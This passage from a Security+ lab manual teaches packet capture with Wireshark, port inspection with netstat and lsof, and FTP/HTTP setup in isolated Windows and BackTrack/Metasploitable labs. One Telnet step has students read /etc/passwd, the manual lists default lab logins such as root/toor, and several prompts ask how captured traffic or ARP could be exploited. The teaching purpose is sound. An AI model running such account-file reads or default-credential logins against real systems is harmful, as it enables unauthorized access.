Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Tree view section • Located in the middle, this section displays in a tree format detailed information about the packet selected in the top section.
Data view section • Located at the bottom, this section shows the raw data of a captured packet in hexadecimal format and textual format. Hexadecimal is the base16 numbering
system. It is composed of the numbers 0–9 and the letters A–F. Hexadecimal is sometimes
used as a short way of representing binary numbers. Any section selected in the tree view
section will be highlighted in this section.
2. Following are the columns in the packet list section. Each column provides specific information.
No• The order in which the packets were received
Time• The time each packet was captured relative to the beginning of the capture
Source• Source address
Destination• Destination address
Protocol• Protocol used to capture the packet
Info• A summary of what the packet is doing
Figure 2-3 Wireshark after collecting ping data
ch02.indd 42 11/17/10 10:39:50 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.1w: Network Communication Analysis in Windows 43
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Whichever frame is highlighted in the packet list section is what is displayed in the tree view and data view sections. In the packet list section, you may have other packets besides
the ones we intended to generate. These may include packets of IGMP (used for multicast) or
802.1D (for spanning tree). What packets you will see depends upon your network equipment
or what network equipment is being simulated.
➜ Note
You will see two packets that have a protocol of ARP. The first is a broadcast and the second is
a reply.
3. Select the first packet that has a protocol of ARP and a destination of Broadcast.
4. Select in the tree view section the part labeled Ethernet II.
5. Select the line that says Destination.
What is the broadcast address in hexadecimal?a.
Observe that the broadcast address is also highlighted in the data view section.b.
Which is first, the source or the destination? What else is in the Ethernet part of the c. header?
6. In the tree view section, click Address Resolution Protocol and expand it (click the + symbol).
What are the fields?a.
Do they all have data?b.
7. In the packet list section, select the ARP reply packet, which should be the ARP packet listed below the broadcast packet. The information in the tree view and data view sections will
change accordingly.
Next, in the packet list section, select the Broadcast packet.a.
What are some differences between the ARP and Broadcast packets?b.
8. In order for the two computers to communicate, the MAC address of the destination must be known. Since you cleared the ARP cache table, the computer had to request it again.
Can you think of ways that this mechanism might be exploited?
9. In the packet list section, click the first ping request.
This is the first ping you sent out. Notice that there are four of them as well as four replies.a.
What protocol does Wireshark list as being used by ping to send and reply?b.
Step 5: Filter the captured session.
Even though this packet capture did not gather too much information, on a busy network, it is very
easy to get thousands of packets, sometimes in a very short time frame. Sorting through them can be
ch02.indd 43 11/17/10 10:39:51 AM
Chapter 2: Network Transports44
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
quite a chore. Therefore, it is useful to learn how to use the filters. The filters can help you access the
information you are looking for.
1. Click inside the Filter text box on the Filter bar.
2. Type arp and press enter (or click Apply).
✖ Warning
This is a case-sensitive command. If you type ARP, the box will be highlighted in red, and the
filter will not work.
3. Notice that only the ARP packets are displayed now. Also, notice that when you type in the Filter box, the background is highlighted red if you have incorrect syntax and is highlighted
green if the syntax is correct.
4. When you are finished with that filter and want to see all packets captured, click Clear on the Filter bar.
➜ Note
On the Filter bar, Expression is a toolbar that will help you create correctly formatted filter
instructions.
Step 6: Capture a DNS session.
In the previous steps, you used Wireshark to look at ICMP and lower-layer protocols. You will now look
at UDP traffic.
UDP is a transport layer protocol. However, UDP is a
connectionless protocol. As such, it has very few error-
recovery functions and no guarantee of packet delivery. UDP
reduces the protocol overhead significantly. This illustration
shows the UDP header format, and the following list (from
RFC 768: User Datagram Protocol, http://www.faqs
.org/rfcs/rfc768.html) describes the fields.
Source Port• An optional field, when meaningful, it indicates the port of the sending process, and may be assumed to be the port to which a reply should be addressed in the
absence of any other information. If not used, a value of zero is inserted.
Destination Port• This port has meaning within the context of a particular Internet destination address.
Length• The length in octets of this user datagram including the header and the data.
ch02.indd 44 11/17/10 10:39:51 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.1w: Network Communication Analysis in Windows 45
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Checksum• The 16-bit one’s complement of the one’s complement sum of a pseudo header of information from the IP header, the UDP header, and the data, padded with zero octets at the
end (if necessary) to make a multiple of two octets.
To capture a DNS session:
1. Start a new capture session in Wireshark by choosing Capture | Interfaces, clicking Continue Without Saving, and then clicking Start.
2. At the command line, type nslookup linuxserv.security.local and press enter.
3. Once you get the response, stop the capture in Wireshark by choosing Capture | Stop.
Step 7: Examine the DNS session.
At this point you should have a capture of an nslookup. It may have an ARP session in the capture. See
the example in Figure 2-4.
1. In the packet list section, select the first packet that has DNS listed in the Protocol column.
2. In the tree view section, expand the User Datagram Protocol item.
Observe the information that is displayed.a.
What is the source port?b.
Figure 2-4 Wireshark after collecting nslookup
ch02.indd 45 11/17/10 10:39:52 AM
Chapter 2: Network Transports46
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
What is the destination port?c.
What is the checksum value? Is it correct?d.
Step 8: Clear the ARP cache and capture a Telnet session.
1. Start a new capture session in Wireshark by choosing Capture | Interfaces, clicking Continue Without Saving, and then clicking Start.
2. At the command prompt, type arp –a.
3. If you see entries, use arp –d to remove them.
4. Type telnet linuxserv.security.local and press enter.
5. At the login prompt, enter labuser and press enter.
6. At the password prompt, type password and press enter.
7. Check to see which accounts are on the machine by typing cat /etc/passwd and pressing enter. You can now log out by typing exit and pressing enter.
8. Stop the capture in Wireshark by choosing Capture | Stop.
Step 9: Examine the Telnet session and identify all the protocols in use.
1. In the packet list section, select the first packet that has TCP listed in the Protocol column.
2. In the tree view section, expand the Transmission Control Protocol item.
Observe the information that is displayed.a.
What is the source port?b.
What is the destination port?c.
What is the checksum value? Is it correct?d.
What differences do you notice between the TCP and UDP headers?e.
3. You can now see just the TCP connection by selecting any packet in the TCP connection and then right-clicking it and choosing Follow TCP Stream.
This opens a text window that shows the text of the TCP connection. The red text is what was sent by the client, and the blue text is what was sent by the server. When you close that
window, you will see that a filter has been set up that will only show that TCP stream. On the
top will be the three-way handshake. On the bottom will be the closing of the TCP session.
Step 10: Log off from the Windows XP Professional PC.
At the Windows XP PC:
1. Choose Start | Log Off.
2. In the Log Off Windows dialog box, click Log Off.
ch02.indd 46 11/17/10 10:39:52 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.1w: Network Communication Analysis in Windows 47
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.1 Analysis Questions The following questions apply to the lab in this section:
1. What protocol does Wireshark indicate is being used when pinging a computer?
2. You are the network administrator for your LAN. You have just captured the network traffic for the last ten minutes and have thousands of packets captured. You are only interested
in looking at packets using the AIM protocol. What would you do to view only the desired
packets?
3. You are the network administrator for your LAN. You have just captured network traffic and are analyzing the packets. You find several packets that look suspicious to you. How would
you find out what the source IP address and the source MAC address of the packets are?
4. Besides HTTP, name three other protocols or applications that are TCP based and would require a three-way handshake to initiate the session.
5. What is a disadvantage of using a connectionless protocol?
6. What is a benefit of using a connection-oriented protocol?
7. What is a benefit of using a connectionless protocol?
Lab 2.1 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
ACK
filter
packet delivery
packets
ch02.indd 47 11/17/10 10:39:52 AM
Chapter 2: Network Transports48
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
port
session
SYN
SYN/ACK
three-way handshake
Transmission Control Protocol (TCP)
User Datagram Protocol (UDP)
Wireshark
1. Wireshark captures ____________________ sent across the network.
2. The ____________________ will show you only the packets you are looking for.
3. ____________________ is the packet sent to acknowledge the completion of the three-way handshake and thus the beginning of communications.
4. ____________________ is a connection-oriented protocol and implements the three-way handshake as its basis for communication.
5. ____________________ is a packet sent to acknowledge the receipt of the original SYN packet.
6. ____________________ is a connectionless protocol.
7. UDP does not guarantee ___________________.
Follow-Up Labs Lab 4.1: IP Address and Port Scanning Service Identity Determination• Now that you are familiar with Wireshark and how ARP and port connections work, you will see how to discover
devices on the network and the ports they have open.
Lab 8.2: Using SSH • SSH can be used to encrypt traffic so that the content is hidden from Wireshark and other sniffers.
Suggested Experiments 1. Start a Wireshark capture. Log in to your e-mail account or other online account. What kind
of data is captured? Can anything be exploited?
2. Try the same capture with other TCP-based applications such as Telnet, FTP, or SMTP.
3. Streaming audio and video is typically done using UDP. Capture some packets from a streaming source and verify this by analyzing whether the packets are TCP or UDP.
ch02.indd 48 11/17/10 10:39:53 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.2w: Windows-Based Port Connection Status 49
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
References ARP•
www.faqs.org/rfcs/rfc826.html•
www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/arp.mspx•
HTTP• www.w3.org/Protocols/rfc2616/rfc2616.html
Principles of Computer Security: CompTIA Security+™ and Beyond, Second Edition• (McGraw-Hill Professional, 2010), Chapter 9
TCP • www.faqs.org/rfcs/rfc793.html
Three-way handshake• www.faqs.org/rfcs/rfc3373.html
UDP • www.faqs.org/rfcs/rfc768.html
Wireshark• www.wireshark.org/
Lab 2.2: Port Connection Status Netstat is an important utility for network administrators. It is used to display active TCP connections
and UDP connections, Ethernet statistics, and the IP routing table. A port can be in any one of a number
of states. When a TCP port is in a listening state, it is waiting for initiation and completion of a three-
way handshake. This results in the port transforming to an established state.
Learning Objectives After completing this lab, you will be able to
Name the command used to display protocol statistics and current TCP/IP network • connections.
Understand how a computer can manage multiple communications through the use of ports.•
List the switches that can be added to the netstat command to increase its functionality.•
S 10 minutes
Lab 2.2w: Windows-Based Port Connection Status In this lab you will use the Windows netstat command to analyze an FTP connection and an HTTP
connection to a server.
ch02.indd 49 11/18/10 2:29:59 PM
Chapter 2: Network Transports50
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
Step 2: Use the netstat command to look at the open ports on the Windows 2003 Server machine.
Step 3: From the Windows XP machine, establish an FTP connection and an HTTP connection to
the Windows 2003 Server machine.
Step 4: Use the netstat command to look at the connections on the Windows 2003 Server machine.
Step 5: Log off from both the Windows 2003 Server and Windows XP PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
1. On the Windows XP PC, at the Login screen, click on the Admin icon, and then type password in the password text box.
2. On the Windows 2003 Server PC, at the Login screen, press ctrl-alt-del, enter the username administrator and the password adminpass, and then click OK.
Step 2: Use the netstat command to look at the open ports on the Windows 2003 Server
machine.
A server will have several ports in a listening state. A port that is in a listening state is waiting for a
request to connect.
To view the open ports on the Windows 2003 Server computer:
1. Choose Start | Run.
2. In the Open field, type cmd and click OK.
3. At the command line, type netstat /? and press enter.
Observe the display options for network connection.a.
What option displays the ports in use by number?b.
What option lists all connections and listening ports?c.
What option shows the programs that created each connection?d.
4. At the command line, type netstat –na and press enter.
ch02.indd 50 11/17/10 10:39:53 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.2w: Windows-Based Port Connection Status 51
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
➜ Note
If the text scrolls up off the screen, maximize the command prompt window and use the scroll
bar on the right to adjust your view of the text.
Observe the ports that are in a listening state.a.
How many ports are in a listening state?b.
What port numbers are used for FTP and HTTP?c.
Are those ports in a listening state?d.
Why are so many ports open, and do they all need to be open?e.
Should you be concerned that so many ports are open?f.
Step 3: From the Windows XP machine, establish an FTP connection and an HTTP connection
to the Windows 2003 Server machine.
From the Windows XP machine:
1. Choose Start | Run.
2. In the Open field, type cmd and click OK.
3. At the command line, type ftp 192.168.100.102 and press enter.
4. At the login prompt, type administrator and press enter.
5. At the password prompt, type adminpass and press enter.
Leave the command line open to see the results.
6. Choose Start | Internet Explorer.
7. In the address box, type 192.168.100.102 and press enter.
Step 4: Use the netstat command to look at the connections on the Windows 2003 Server
machine.
1. At the command line of the Windows 2003 Server machine, type netstat.
2. After a brief pause you should get output that looks like the following:
C:\>netstat
Active Connections
Proto Local Address Foreign Address State
TCP win2k3serv:ftp winxppro.security.local:1065 ESTABLISHED
TCP win2k3serv:http winxppro.security.local:1068 ESTABLISHED
ch02.indd 51 11/17/10 10:39:54 AM
Chapter 2: Network Transports52
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
➜ Note
If you do not see the HTTP connection the first time you do this, refresh Internet Explorer and
then, at the command line, retype netstat and press enter.
Even though you are connected to the same machine twice, the use of port assignments keeps information from the FTP session separate from information from the HTTP session. The
combination of an IP address and port number is called a socket.
3. Connect to the server on a well-known port (FTP and HTTP) from an ephemeral port (a port with a number greater than 1023). The output listed in step 2 shows a connection between
port 1065 locally and port 21 (FTP) on the remote machine. The local machine is connected
from port 1068 to port 80 (HTTP).
In your output of netstat, what port is connected to FTP?a.
In your output of netstat, what port is connected to HTTP?b.
Step 5: Log off from both the Windows 2003 Server and Windows XP PCs.
1. To log off from the Windows 2003 Server PC, choose Start | Shutdown, select Log Off Administrator, and click OK.
2. To log off from the Windows XP PC, choose Start | Log Off | Log Off.
S 10 minutes
Lab 2.2l: Linux-Based Port Connection Status
Materials and Setup You will need the following:
BackTrack•
Metasploitable•
Lab Steps at a Glance
Step 1: Log on to the Metasploitable and BackTrack PCs.
Step 2: Use the netstat command to look at the open ports on the Metasploitable PC.
Step 3: Using the BackTrack PC, establish an FTP connection and an HTTP connection to the
Metasploitable PC.
ch02.indd 52 11/17/10 10:39:54 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.2l: Linux-Based Port Connection Status 53
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Step 4: Use the netstat command to look at the connections on the Metasploitable PC.
Step 5: Trace the port to a process.
Step 6: Close Firefox and log out of the GUI on the BackTrack PC.
Step 7: Log off from both the Metasploitable and BackTrack PCs.
Lab Steps
Step 1: Log on to the Metasploitable and BackTrack PCs.
To log on to the Metasploitable PC:
1. At the login prompt, type user and press enter.
2. At the password prompt, type user and press enter.
➜ Note
You will not see any characters as you type in the password.
To log on to the BackTrack PC:
1. At the login prompt, type root and press enter.
2. At the password prompt, type toor and press enter.
Step 2: Use the netstat command to look at the open ports on the Metasploitable PC.
A server will have several ports in a listening state. A port that is in a listening state is waiting for a
request for a connection to be established to it.
To use the netstat command on the Metasploitable PC:
1. At the command line, type netstat -h and press enter.
Observe the options.a.
What option displays the ports in use by number?b.
What option shows all connections and listening ports?c.
2. At the command line, type netstat –tuna and press enter.
➜ Note
If the text scrolls up off the screen, maximize the command prompt window and use the scroll
bar on the right to adjust your view of the text.
ch02.indd 53 11/17/10 10:39:54 AM
Chapter 2: Network Transports54
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Observe the ports that are in a “listening” state.a.
How many ports are in a listening state?b.
What port numbers are used for HTTP and FTP?c.
Are those ports in a listening state?d.
Why are so many ports open, and do they all need to be open?e.
Should you be concerned that so many ports are open?f.
Step 3: Using the BackTrack PC, establish an FTP connection and an HTTP connection to the
Metasploitable PC.
You will now connect to the Metasploitable PC on well-known ports (FTP and HTTP) from ephemeral ports
(ports with a number greater than 1023). The output listed shows a connection between port 1065 locally
and port 21 (FTP) on the remote machine. The local machine is connected from port 1068 to port 80 (HTTP).
1. On the command line, type startx and press enter.
2. On the BackTrack PC, click the Konsole icon to open the Konsole Shell, as shown in Figure 2-5.
3. At the command line, type ftp 192.168.100.202 and press enter.
4. At Name (192.168.100.202:root), type user and press enter.
5. At Password, type user and press enter.
Now view a web page on the server:
1. On the taskbar, click the Firefox icon.
2. In the address bar, type http://192.168.100.202/ and press enter.
Step 4: Use the netstat command to look at the connections on the Metasploitable PC.
1. Click on the Konsole icon in the taskbar to open a new Konsole.
2. At the command line, type netstat –tn.
3. After a brief pause you should get output that looks like the following:
tcp 0 0 192.168.100.202:80 192.168.100.201:1059 ESTABLISHED
tcp 0 0 192.168.100.202:21 192.168.100.201:1040 ESTABLISHED
➜ Note
If you do not see port 80 the first time you do this, refresh Firefox and then, at the command
line, retype netstat –tn and press enter.
ch02.indd 54 11/17/10 10:39:55 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.2l: Linux-Based Port Connection Status 55
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Even though you are connected to the same machine twice, the use of port assignments keeps
information from the FTP session separate from information from the Telnet session. The combination
of IP address and port number is called a socket.
From the output displayed by the netstat command, what port is connected to FTP?a.
From the output displayed by the netstat command, what port is connected to HTTP?b.
Step 5: Trace the port to a process.
1. At the command line, type lsof –i > /tmp/lsofi and press enter.
2. Type less /tmp/lsofi and press enter.
What is the process ID for the FTP connection?
3. Type q to exit the less output.
4. At the command line, type ps –ax and press enter.
What information is given for the FTP process ID?
Figure 2-5 The Konsole Shell
ch02.indd 55 11/17/10 10:39:55 AM
Chapter 2: Network Transports56
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Step 6: Close Firefox and log out of the GUI on the BackTrack PC.
1. In the Firefox window, click the × in the upper-right corner.
2. On the BackTrack PC, choose K Menu | Log Out and click Log Out again.
Step 7: Log off from both the Metasploitable and BackTrack PCs.
1. At the Metasploitable PC command line, type logout and press enter.
2. At the BackTrack PC command line, type logout and press enter.
Lab 2.2 Analysis Questions The following questions apply to the labs in this section:
1. What is the netstat command used for?
2. What options would you use with the netstat command to show only TCP connections?
3. What option would you use with the netstat command to show statistics for each protocol?
4. Look at the following output from the netstat command and explain what it means.
Proto Local Address Foreign Address State
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
5. Look at the following output from the netstat command and explain what it means.
Proto Local Address Foreign Address State
TCP 192.168.2.2:3545 192.168.1.104:21 ESTABLISHED
6. You need to look at the routing table for a computer connected to your local area network. What command would you use to view the routing table?
ch02.indd 56 11/17/10 10:39:55 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.2 Key Terms Quiz 57
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
Lab 2.2 Key Terms Quiz Use these key terms from the labs to complete the sentences that follow:
established state
HTTP
listening state
netstat
port
session
socket
states
TCP connections
UDP connections
1. Active connections on a computer system can be displayed by entering ____________________ at the command line.
2. The line 216.239.39.147:80 ESTABLISHED indicates an active connection to a computer system on ____________________ 80.
3. The ____________________ information displayed by the netstat command shows the current status of the connection.
4. The combination of an IP address and its associated port is referred to as a(n) ____________________.
5. The command netstat -p tcp will show ____________________.
Follow-Up Lab Lab 6.1: Trojan Attacks• Commands used in this lab will help to show when your computer may be infected with a Trojan.
Suggested Experiments 1. On your computer at home, run the netstat command and look at the ports that are open. List
the ports that are open and identify what they are used for. Which ports are open that don’t
need to be?
2. Install and run the utility fport from Foundstone (www.foundstone.com). fport will show you the applications associated with the ports that are open.
ch02.indd 57 11/17/10 10:39:56 AM
Chapter 2: Network Transports58
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 2
References Netstat•
www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/netstat.• mspx
www.linuxhowtos.org/Network/netstat.htm•
Principles of Computer Security: CompTIA Security+™ and Beyond, Second Edition• (McGraw-Hill Professional, 2010), Chapters 9, 11, 17
TCP•
RFC 793: TCP• http://www.faqs.org/rfcs/rfc793.html
UDP•
RFC 768: UDP• http://www.faqs.org/rfcs/rfc768.html
ch02.indd 58 11/17/10 10:39:56 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 / Blind Folio 59
Network Applications
Labs Lab 3.1 FTP Communication (FTP-HTTP)•
Lab 3.1w Windows FTP Communication (FTP-HTTP)
Lab 3.1l Linux FTP Communication (FTP-HTTP)
Lab 3.1 Analysis Questions
Lab 3.1 Key Terms Quiz
Lab 3.2 E-Mail Protocols: SMTP and POP3•
Lab 3.2m Windows E-Mail: SMTP and POP3
Lab 3.2l Linux E-Mail: SMTP and POP3
Lab 3.2 Analysis Questions
Lab 3.2 Key Terms Quiz
Chapter 3
ch03.indd 59 11/17/10 10:40:56 AM
Chapter 3: Network Applications60
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3 Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
This chapter contains lab exercises that are designed to illustrate various applications and how they communicate using TCP/IP protocols.
Applications using both Windows PCs and Linux-based PCs are covered.
This chapter examines the nature of communications with HTTP,
FTP, and e-mail transmissions. Understanding the nature of the data
communications with these protocols is a necessary step toward
establishing secure connections.
The lab exercises are built upon the tools demonstrated in earlier
labs. Wireshark and netstat are used with both the Windows and Linux
platforms to illustrate the use of clear-text packet transfer of data
between applications. E-mail is a common application used in networks,
yet few people understand how e-mail protocols work.
Looking at applications and their communication methods serves two
purposes. First, it introduces the protocols used by these applications.
Second, it demonstrates the use of the tools presented in earlier labs to
examine details of the inner workings of these protocols. This chapter
consists of four lab exercises designed to introduce network connectivity
and basic network tools in the Linux and Windows environments.
➜ Note
Instructions for setting up all environments used in this chapter can be found on the book’s
companion online learning center at www.securityplusolc.com.
Lab 3.1: FTP Communication (FTP-HTTP) Most networks were developed and designed for sharing files. File Transfer Protocol (FTP) is a protocol
used for this purpose. FTP is an important protocol to become familiar with because it is often utilized
to upload and download files from a server; furthermore, it is often the target of attackers.
ch03.indd 60 11/17/10 10:40:56 AM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Lab 3.1w: Windows FTP Communication (FTP-HTTP) 61
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 3
Hypertext Transfer Protocol (HTTP) is a lightweight and fast application layer protocol that can also
be used to share files. Hypertext Markup Language (HTML) is the language in which files can be written
to display specially formatted text or link to other files and resources.
In this lab, you will use the Windows FTP application to upload a simple web page to a server, and
then you will view it from a browser.
Learning Objectives After completing this lab, you will be able to
Create a simple web page using HTML and a text editor.•
Upload a web page to a Windows-based web server.•
View a page using a web browser.•
S 20 minutes
Lab 3.1w: Windows FTP Communication (FTP-HTTP)
Materials and Setup You will need the following:
Windows XP Professional•
Windows 2003 Server•
Lab Steps at a Glance
Step 1: Start the Windows 2003 Server and Windows XP Professional machines. Only log on to
the Windows XP machine.
Step 2: Create a simple web page.
Step 3: View the web page in Internet Explorer.
Step 4: Upload the web page.
Step 5: Use Internet Explorer to view the web page from the web server.
Step 6: Log off from the Windows XP Professional PC.
ch03.indd 61 11/17/10 10:40:56 AM
Chapter 3: Network Applications62
